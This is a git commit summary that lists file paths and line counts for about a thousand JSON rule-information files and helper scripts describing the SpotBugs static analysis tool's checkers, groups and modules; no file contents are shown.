32 ++ .../checkers/detect/FindBadForLoop.json | 13 + .../checkers/detect/FindBugsSummaryStats.json | 13 + .../detect/FindCircularDependencies.json | 13 + .../detect/FindComparatorProblems.json | 13 + .../checkers/detect/FindDeadLocalStores.json | 13 + .../checkers/detect/FindDoubleCheck.json | 13 + .../detect/FindEmptySynchronizedBlock.json | 13 + .../detect/FindFieldSelfAssignment.json | 13 + .../detect/FindFinalizeInvocations.json | 13 + .../checkers/detect/FindFloatEquality.json | 13 + .../checkers/detect/FindFloatMath.json | 13 + .../checkers/detect/FindHEmismatch.json | 13 + .../checkers/detect/FindHiddenMethod.json | 194 +++++++ .../detect/FindInconsistentSync2.json | 13 + .../FindInstanceLockOnSharedStaticData.json | 13 + .../detect/FindJSR166LockMonitorenter.json | 13 + .../detect/FindLocalSelfAssignment2.json | 13 + .../checkers/detect/FindMaskedFields.json | 13 + .../detect/FindMismatchedWaitOrNotify.json | 13 + .../checkers/detect/FindNakedNotify.json | 13 + .../detect/FindNoSideEffectMethods.json | 13 + .../FindNonSerializableStoreIntoSession.json | 13 + ...nSerializableValuePassedToWriteObject.json | 13 + .../checkers/detect/FindNonShortCircuit.json | 50 ++ .../checkers/detect/FindNullDeref.json | 13 + ...efsInvolvingNonShortCircuitEvaluation.json | 13 + .../checkers/detect/FindOpenStream.json | 13 + .../detect/FindOverridableMethodCall.json | 410 ++++++++++++++ ...alSecurityCheckBasedOnUntrustedSource.json | 23 + .../checkers/detect/FindPublicAttributes.json | 32 ++ .../checkers/detect/FindPuzzlers.json | 13 + .../checkers/detect/FindRefComparison.json | 50 ++ .../checkers/detect/FindReturnRef.json | 86 +++ .../checkers/detect/FindRoughConstants.json | 13 + .../checkers/detect/FindRunInvocations.json | 13 + .../checkers/detect/FindSelfComparison.json | 13 + .../checkers/detect/FindSelfComparison2.json | 13 + .../detect/FindSleepWithLockHeld.json | 13 + .../checkers/detect/FindSpinLoop.json | 13 + .../checkers/detect/FindSqlInjection.json | 32 ++ .../checkers/detect/FindTwoLockWait.json | 13 + .../detect/FindUncalledPrivateMethods.json | 13 + .../detect/FindUnconditionalWait.json | 13 + .../checkers/detect/FindUninitializedGet.json | 13 + .../FindUnrelatedTypesInGenericContainer.json | 13 + .../checkers/detect/FindUnreleasedLock.json | 41 ++ .../detect/FindUnsatisfiedObligation.json | 23 + .../checkers/detect/FindUnsyncGet.json | 13 + .../detect/FindUseOfNonSerializableValue.json | 13 + .../detect/FindUselessControlFlow.json | 13 + .../checkers/detect/FindUselessObjects.json | 13 + .../FindVulnerableSecurityCheckMethods.json | 32 ++ .../checkers/detect/FormatStringChecker.json | 13 + ...tionsThatMightBeMistakenForProcedures.json | 13 + .../detect/HugeSharedStringConstants.json | 13 + .../detect/IDivResultCastToDouble.json | 13 + .../checkers/detect/IOStreamFactory.json | 13 + .../checkers/detect/IncompatMask.json | 23 + .../detect/InconsistentAnnotations.json | 13 + .../InconsistentSyncWarningProperty.json | 13 + .../checkers/detect/InefficientIndexOf.json | 13 + .../InefficientInitializationInsideLoop.json | 13 + .../detect/InefficientMemberAccess.json | 13 + .../checkers/detect/InefficientToArray.json | 13 + .../checkers/detect/InfiniteLoop.json | 13 + .../detect/InfiniteRecursiveLoop.json | 13 + .../detect/InheritanceUnsafeGetResource.json | 13 + .../checkers/detect/InitializationChain.json | 13 + .../InitializeNonnullFieldsInConstructor.json | 13 + .../InstanceFieldLoadStreamFactory.json | 13 + .../detect/InstantiateStaticClass.json | 13 + .../detect/IntCast2LongAsInstant.json | 13 + .../checkers/detect/InvalidJUnitTest.json | 13 + .../checkers/detect/IteratorIdioms.json | 13 + .../checkers/detect/LazyInit.json | 13 + .../checkers/detect/LoadOfKnownNullValue.json | 13 + .../detect/LostLoggerDueToWeakReference.json | 13 + .../checkers/detect/MethodReturnCheck.json | 13 + .../MethodReturnValueStreamFactory.json | 13 + .../checkers/detect/Methods.json | 13 + .../MultipleInstantiationsOfSingletons.json | 275 +++++++++ .../detect/MultithreadedInstanceAccess.json | 13 + .../checkers/detect/MutableEnum.json | 13 + .../checkers/detect/MutableLock.json | 13 + .../checkers/detect/MutableStaticFields.json | 13 + .../checkers/detect/Naming.json | 13 + .../checkers/detect/Noise.json | 13 + .../checkers/detect/NoiseNullDeref.json | 13 + .../detect/NonNullReturnProperty.json | 13 + .../detect/NoteAnnotationRetention.json | 13 + .../NoteCheckReturnValueAnnotations.json | 13 + .../NoteDirectlyRelevantTypeQualifiers.json | 13 + .../checkers/detect/NoteJCIPAnnotation.json | 13 + .../detect/NoteNonNullAnnotations.json | 13 + .../detect/NoteNonnullReturnValues.json | 13 + .../detect/NoteSuppressedWarnings.json | 13 + .../detect/NoteUnconditionalParamDerefs.json | 13 + .../detect/NullArgumentWarningProperty.json | 13 + .../checkers/detect/NullDerefProperty.json | 13 + .../checkers/detect/NumberConstructor.json | 13 + .../checkers/detect/OptionalReturnNull.json | 13 + .../OverridingEqualsNotSymmetrical.json | 13 + ...rridingMethodsMustInvokeSuperDetector.json | 13 + .../checkers/detect/PermissionsSuper.json | 13 + .../detect/PreferZeroLengthArrays.json | 13 + .../checkers/detect/PublicIdentifiers.json | 13 + .../checkers/detect/PublicSemaphores.json | 13 + .../detect/QuestionableBooleanAssignment.json | 13 + ...ethodInvokedByConstructorInSuperclass.json | 13 + .../detect/ReadReturnShouldBeChecked.json | 13 + .../checkers/detect/RedundantConditions.json | 13 + .../checkers/detect/RedundantInterfaces.json | 13 + .../detect/RefComparisonWarningProperty.json | 13 + .../ReflectionIncreaseAccessibility.json | 13 + .../checkers/detect/ReflectiveClasses.json | 13 + .../checkers/detect/RepeatedConditionals.json | 13 + .../checkers/detect/ResolveAllReferences.json | 13 + .../ResourceInMultipleThreadsDetector.json | 68 +++ .../detect/RuntimeExceptionCapture.json | 13 + .../checkers/detect/SerializableIdiom.json | 13 + .../SharedVariableAtomicityDetector.json | 527 ++++++++++++++++++ .../checkers/detect/StartInConstructor.json | 13 + .../detect/StaticCalendarDetector.json | 13 + .../detect/StaticFieldLoadStreamFactory.json | 13 + .../checkers/detect/Stream.json | 13 + .../detect/StreamEquivalenceClass.json | 13 + .../checkers/detect/StreamEscape.json | 13 + .../checkers/detect/StreamFactory.json | 13 + .../detect/StreamFrameModelingVisitor.json | 13 + .../detect/StreamResourceTracker.json | 13 + .../checkers/detect/StringConcatenation.json | 13 + .../detect/SuperfluousInstanceOf.json | 13 + .../detect/SuspiciousThreadInterrupted.json | 13 + .../checkers/detect/SwitchFallthrough.json | 13 + ...ynchronizationOnSharedBuiltinConstant.json | 77 +++ .../detect/SynchronizeAndNullCheckField.json | 13 + .../SynchronizeOnClassLiteralNotGetClass.json | 13 + ...nizingOnContentsOfFieldToProtectField.json | 13 + .../checkers/detect/TestASM.json | 23 + .../checkers/detect/TestDataflowAnalysis.json | 13 + .../checkers/detect/TestingGround.json | 13 + .../checkers/detect/TestingGround2.json | 13 + .../checkers/detect/ThrowingExceptions.json | 23 + .../checkers/detect/TrainFieldStoreTypes.json | 13 + .../detect/TrainLongInstantfParams.json | 13 + .../detect/TrainNonNullAnnotations.json | 13 + .../detect/TrainUnconditionalDerefParams.json | 13 + .../checkers/detect/TypeReturnNull.json | 13 + .../checkers/detect/URLProblems.json | 13 + .../UncallableMethodOfAnonymousClass.json | 13 + .../checkers/detect/UnnecessaryEnvUsage.json | 23 + .../checkers/detect/UnnecessaryMath.json | 13 + .../checkers/detect/UnreadFields.json | 32 ++ .../checkers/detect/UnreadFieldsData.json | 13 + .../detect/UselessSubclassMethod.json | 13 + .../detect/UselessSuppressionDetector.json | 13 + .../checkers/detect/VarArgsProblems.json | 13 + .../checkers/detect/ViewCFG.json | 13 + .../checkers/detect/VolatileUsage.json | 13 + .../checkers/detect/WaitInLoop.json | 13 + .../checkers/detect/WrongMapIterator.json | 13 + .../checkers/detect/XMLFactoryBypass.json | 13 + .../checkers/filter/AndMatcher.json | 13 + .../checkers/filter/AnnotationMatcher.json | 77 +++ .../checkers/filter/BugMatcher.json | 13 + .../checkers/filter/ClassMatcher.json | 13 + .../checkers/filter/CompoundMatcher.json | 13 + .../checkers/filter/ConfidenceMatcher.json | 13 + .../checkers/filter/FieldMatcher.json | 13 + .../checkers/filter/Filter.json | 13 + .../checkers/filter/FilterException.json | 13 + .../checkers/filter/FirstVersionMatcher.json | 13 + .../checkers/filter/LastVersionMatcher.json | 13 + .../checkers/filter/LocalMatcher.json | 13 + .../checkers/filter/Matcher.json | 13 + .../checkers/filter/MemberMatcher.json | 13 + .../checkers/filter/MethodMatcher.json | 13 + .../checkers/filter/NameMatch.json | 41 ++ .../checkers/filter/NotMatcher.json | 59 ++ .../checkers/filter/OrMatcher.json | 13 + .../checkers/filter/PriorityMatcher.json | 13 + .../checkers/filter/RankMatcher.json | 13 + .../checkers/filter/RelationalOp.json | 41 ++ .../checkers/filter/SignatureUtil.json | 50 ++ .../checkers/filter/SourceMatcher.json | 59 ++ .../checkers/filter/StringSetMatch.json | 13 + .../checkers/filter/TypeMatcher.json | 13 + .../checkers/filter/VersionMatcher.json | 13 + .../graph/AbstractDepthFirstSearch.json | 13 + .../checkers/graph/AbstractEdge.json | 13 + .../checkers/graph/AbstractGraph.json | 13 + .../checkers/graph/AbstractVertex.json | 13 + .../checkers/graph/DFSEdgeTypes.json | 13 + .../checkers/graph/DepthFirstSearch.json | 13 + .../checkers/graph/Graph.json | 13 + .../checkers/graph/GraphEdge.json | 13 + .../checkers/graph/GraphToolkit.json | 13 + .../checkers/graph/GraphVertex.json | 13 + .../checkers/graph/MergeVertices.json | 13 + .../graph/ReverseDepthFirstSearch.json | 13 + .../checkers/graph/SearchTree.json | 13 + .../checkers/graph/SearchTreeBuilder.json | 13 + .../checkers/graph/SearchTreeCallback.json | 13 + .../graph/StronglyConnectedComponents.json | 13 + .../checkers/graph/Transpose.json | 13 + .../checkers/graph/VertexChooser.json | 13 + .../checkers/graph/VertexCombinator.json | 13 + .../graph/VisitationTimeComparator.json | 13 + .../AnalysisContextContained.json | 13 + .../internalAnnotations/DottedClassName.json | 13 + .../internalAnnotations/SlashedClassName.json | 41 ++ .../internalAnnotations/StaticConstant.json | 13 + .../Rule Information/checkers/io/IO.json | 50 ++ .../checkers/io/SlowInputStream.json | 13 + .../checkers/jaif/JAIFEnumConstant.json | 13 + .../checkers/jaif/JAIFEvents.json | 13 + .../checkers/jaif/JAIFParser.json | 13 + .../checkers/jaif/JAIFScanner.json | 113 ++++ .../checkers/jaif/JAIFSyntaxException.json | 13 + .../checkers/jaif/JAIFToken.json | 13 + .../checkers/jaif/JAIFTokenKind.json | 13 + .../checkers/log/ConsoleLogger.json | 13 + .../checkers/log/IProfiler.json | 13 + .../checkers/log/LogSync.json | 13 + .../Rule Information/checkers/log/Logger.json | 13 + .../checkers/log/ProfileSummary.json | 41 ++ .../checkers/log/Profiler.json | 13 + .../checkers/model/ClassFeatureSet.json | 13 + .../checkers/model/ClassNameRewriter.json | 13 + .../checkers/model/ClassNameRewriterUtil.json | 13 + .../model/IdentityClassNameRewriter.json | 13 + .../checkers/model/MovedClassMap.json | 13 + .../model/RegenerateClassFeatures.json | 13 + .../checkers/model/SimilarClassFinder.json | 13 + .../checkers/model/SimilarClassSet.json | 13 + .../checkers/model/package-info.json | 13 + .../checkers/package-info.json | 13 + .../checkers/plan/AnalysisPass.json | 13 + .../ByInterfaceDetectorFactorySelector.json | 13 + .../checkers/plan/ConstraintEdge.json | 13 + .../checkers/plan/ConstraintGraph.json | 13 + .../plan/DetectorFactorySelector.json | 13 + .../checkers/plan/DetectorNode.json | 13 + .../plan/DetectorOrderingConstraint.json | 13 + .../checkers/plan/ExecutionPlan.json | 13 + .../plan/OrderingConstraintException.json | 13 + .../ReportingDetectorFactorySelector.json | 13 + .../plan/SingleDetectorFactorySelector.json | 13 + .../plugins/DuplicatePluginIdError.json | 13 + .../plugins/DuplicatePluginIdException.json | 13 + .../props/AbstractWarningProperty.json | 13 + .../props/GeneralWarningProperty.json | 13 + .../checkers/props/PriorityAdjustment.json | 13 + .../checkers/props/WarningProperty.json | 13 + .../checkers/props/WarningPropertySet.json | 13 + .../checkers/props/WarningPropertyUtil.json | 13 + .../checkers/sarif/BugCollectionAnalyser.json | 50 ++ .../checkers/sarif/Extension.json | 13 + .../checkers/sarif/GUIDCalculator.json | 50 ++ .../checkers/sarif/Invocation.json | 13 + .../checkers/sarif/Level.json | 95 ++++ .../checkers/sarif/Location.json | 13 + .../checkers/sarif/Message.json | 13 + .../checkers/sarif/MessageFormat.json | 13 + .../checkers/sarif/Notification.json | 13 + .../checkers/sarif/Placeholder.json | 23 + .../checkers/sarif/Result.json | 13 + .../Rule Information/checkers/sarif/Rule.json | 13 + .../checkers/sarif/SarifBugReporter.json | 23 + .../checkers/sarif/SarifException.json | 13 + .../checkers/sarif/Stack.json | 13 + .../checkers/sarif/Taxon.json | 13 + .../checkers/sarif/package-info.json | 13 + .../checkers/util/AnyTypeMatcher.json | 13 + .../checkers/util/Archive.json | 13 + .../Rule Information/checkers/util/Bag.json | 13 + .../checkers/util/BootstrapMethodsUtil.json | 13 + .../checkers/util/ClassName.json | 230 ++++++++ .../checkers/util/ClassPathUtil.json | 13 + .../checkers/util/CollectionAnalysis.json | 13 + .../ContainsCamelCaseWordStringMatcher.json | 13 + .../checkers/util/DualKeyHashMap.json | 13 + .../checkers/util/EditDistance.json | 13 + .../checkers/util/ExactStringMatcher.json | 13 + .../checkers/util/FractionalMultiset.json | 13 + .../checkers/util/FutureValue.json | 13 + .../Rule Information/checkers/util/HTML.json | 13 + .../checkers/util/JavaWebStart.json | 13 + .../checkers/util/LaunchBrowser.json | 13 + .../checkers/util/MapCache.json | 13 + .../checkers/util/MergeMap.json | 13 + .../checkers/util/MethodAnalysis.json | 13 + .../checkers/util/MultiMap.json | 13 + .../MultiThreadedCodeIdentifierUtils.json | 13 + .../checkers/util/Multiset.json | 13 + .../checkers/util/MutableClasses.json | 113 ++++ .../checkers/util/NestedAccessUtil.json | 13 + .../util/NotImplementedYetException.json | 13 + .../checkers/util/NullIterator.json | 13 + .../checkers/util/ProfilingMapCache.json | 13 + .../checkers/util/RegexStringMatcher.json | 13 + .../checkers/util/SecurityManagerHandler.json | 13 + .../util/SplitCamelCaseIdentifier.json | 68 +++ .../checkers/util/StringMatcher.json | 13 + .../checkers/util/Strings.json | 41 ++ .../checkers/util/SubtypeTypeMatcher.json | 13 + .../checkers/util/TestDesktopIntegration.json | 13 + .../checkers/util/TopologicalSort.json | 13 + .../checkers/util/TripleKeyHashMap.json | 13 + .../checkers/util/TypeMatcher.json | 13 + .../Rule Information/checkers/util/Util.json | 13 + .../checkers/util/Values.json | 13 + .../checkers/util/WriteOnceProperties.json | 13 + .../visitclass/AnnotationVisitor.json | 13 + .../checkers/visitclass/BetterVisitor.json | 13 + .../checkers/visitclass/Constants2.json | 13 + .../visitclass/DismantleBytecode.json | 23 + .../checkers/visitclass/LVTHelper.json | 13 + .../checkers/visitclass/PreorderVisitor.json | 23 + .../checkers/visitclass/PrintClass.json | 13 + .../checkers/visitclass/Util.json | 13 + .../checkers/workflow/Churn.json | 13 + .../checkers/workflow/CopyBuggySource.json | 13 + .../workflow/CountByPackagePrefix.json | 13 + .../checkers/workflow/CountClassVersions.json | 13 + .../checkers/workflow/DefectDensity.json | 13 + .../checkers/workflow/FB.json | 13 + .../checkers/workflow/FileBugHash.json | 13 + .../checkers/workflow/Filter.json | 13 + .../workflow/ListBugDatabaseInfo.json | 13 + .../checkers/workflow/ListErrors.json | 13 + .../checkers/workflow/MineBugHistory.json | 13 + .../checkers/workflow/ObfuscateBugs.json | 13 + .../checkers/workflow/PrintAppVersion.json | 13 + .../checkers/workflow/RebornIssues.json | 13 + .../workflow/RecursiveSearchForJavaFiles.json | 13 + .../workflow/RejarClassesForAnalysis.json | 13 + .../checkers/workflow/SetBugDatabaseInfo.json | 13 + .../checkers/workflow/SourceSearcher.json | 13 + .../checkers/workflow/TestingGround.json | 13 + .../workflow/TreemapVisualization.json | 13 + .../checkers/workflow/UnionResults.json | 23 + .../checkers/workflow/Update.json | 13 + .../checkers/xml/Dom4JXMLOutput.json | 13 + .../checkers/xml/MetaCharacterMap.json | 13 + .../checkers/xml/OutputStreamXMLOutput.json | 13 + .../checkers/xml/QuoteMetaCharacters.json | 13 + .../checkers/xml/XMLAttributeList.json | 13 + .../checkers/xml/XMLOutput.json | 13 + .../checkers/xml/XMLOutputUtil.json | 13 + .../checkers/xml/XMLUtil.json | 13 + .../checkers/xml/XMLWriteable.json | 13 + .../checkers/xml/XPathFind.json | 13 + .../Spotbugs/Rule Information/groups/asm.json | 10 + .../Spotbugs/Rule Information/groups/ba.json | 313 +++++++++++ .../Rule Information/groups/bcel.json | 16 + .../Rule Information/groups/bugReporter.json | 9 + .../Rule Information/groups/bytecode.json | 7 + .../Rule Information/groups/charsets.json | 9 + .../Rule Information/groups/classfile.json | 138 +++++ .../Rule Information/groups/config.json | 11 + .../Spotbugs/Rule Information/groups/cwe.json | 9 + .../Rule Information/groups/detect.json | 227 ++++++++ .../Rule Information/groups/filter.json | 32 ++ .../Rule Information/groups/findbug.json | 152 +++++ .../Rule Information/groups/graph.json | 26 + .../groups/internalAnnotations.json | 10 + .../Spotbugs/Rule Information/groups/io.json | 8 + .../Rule Information/groups/jaif.json | 13 + .../Spotbugs/Rule Information/groups/log.json | 12 + .../Rule Information/groups/model.json | 15 + .../Rule Information/groups/plan.json | 17 + .../Rule Information/groups/plugins.json | 8 + .../Rule Information/groups/props.json | 12 + .../Rule Information/groups/sarif.json | 23 + .../Rule Information/groups/util.json | 46 ++ .../Rule Information/groups/visitclass.json | 14 + .../Rule Information/groups/workflow.json | 28 + .../Spotbugs/Rule Information/groups/xml.json | 16 + .../Rule Information/main/spotbugs-main.json | 6 + .../Rule Information/modules/modules.json | 33 ++ .../Spotbugs/Scripts/spotbugs-checkers.py | 121 ++++ .../Spotbugs/Scripts/spotbugs-groups.py | 48 ++ .../Spotbugs/Scripts/spotbugs-modules.py | 40 ++ 1056 files changed, 19552 insertions(+) create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AWTEventQueueExecutor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AbstractBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AddMessages.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisCacheToRepositoryAdapter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisError.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisLocal.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisOptions.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Analyze.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AppVersion.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAccumulator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationWithSourceLines.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCategory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCode.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCollection.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCollectionBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugInstance.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugPattern.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugRankCategory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugRanker.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReportDispatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReporterObserver.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ByteCodePatternDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BytecodeScanningDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraph.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraphEdge.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraphNode.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallSite.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CategoryFilteringBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CheckBcel.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassScreener.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassWarningSuppressor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CommandLineUiCallback.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ComponentPlugin.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ConfigurableBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CurrentThreadExecutorService.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DeepSubtypeAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DelegatingBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Detector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Detector2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactoryChooser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactoryCollection.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorToDetector2Adapter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DiscoverSourceDirectories.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/EmacsBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ErrorCountingBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ExcludingHashesBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ExitCodes.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FatalException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FieldAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FieldWarningSuppressor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FilterBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugs.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugs2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsAnalysisFeatures.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsCommandLine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsDisplayFeatures.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsMain.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsMessageFormat.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FindBugsProgress.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FirstPassDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Footprint.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FuzzyBugComparator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/GlobalOptions.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/HTMLBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/I18N.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IClassScreener.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IFindBugsEngine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IGuiCallback.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScanner.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScannerDriver.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InstructionScannerGenerator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/IntAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/InterproceduralFirstPassDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/JavaVersion.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/JavaVersionException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/L10N.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/LaunchAppropriateUI.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/LocalVariableAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Lookup.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/MethodAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/MethodWarningSuppressor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NewResults.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NoClassesFoundToAnalyzeException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NoOpFindBugsProgress.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NonReportingDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/NonReportingDetectorToDetector2Adapter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Obfuscate.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/OpcodeStack.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageMemberAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageStats.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PackageWarningSuppressor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ParameterWarningSuppressor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Plugin.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginDoesntContainMetadataException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PluginLoader.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PrintingBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Priorities.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProgramPoint.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Project.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProjectPackagePrefixes.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ProjectStats.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/PropertyBundle.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/RecursiveFileSearch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceCollection.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceCreationPoint.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ResourceTrackingDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SAXBugCollectionHandler.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SelfCalls.json create mode 100644 Raw Data/Static Analysis 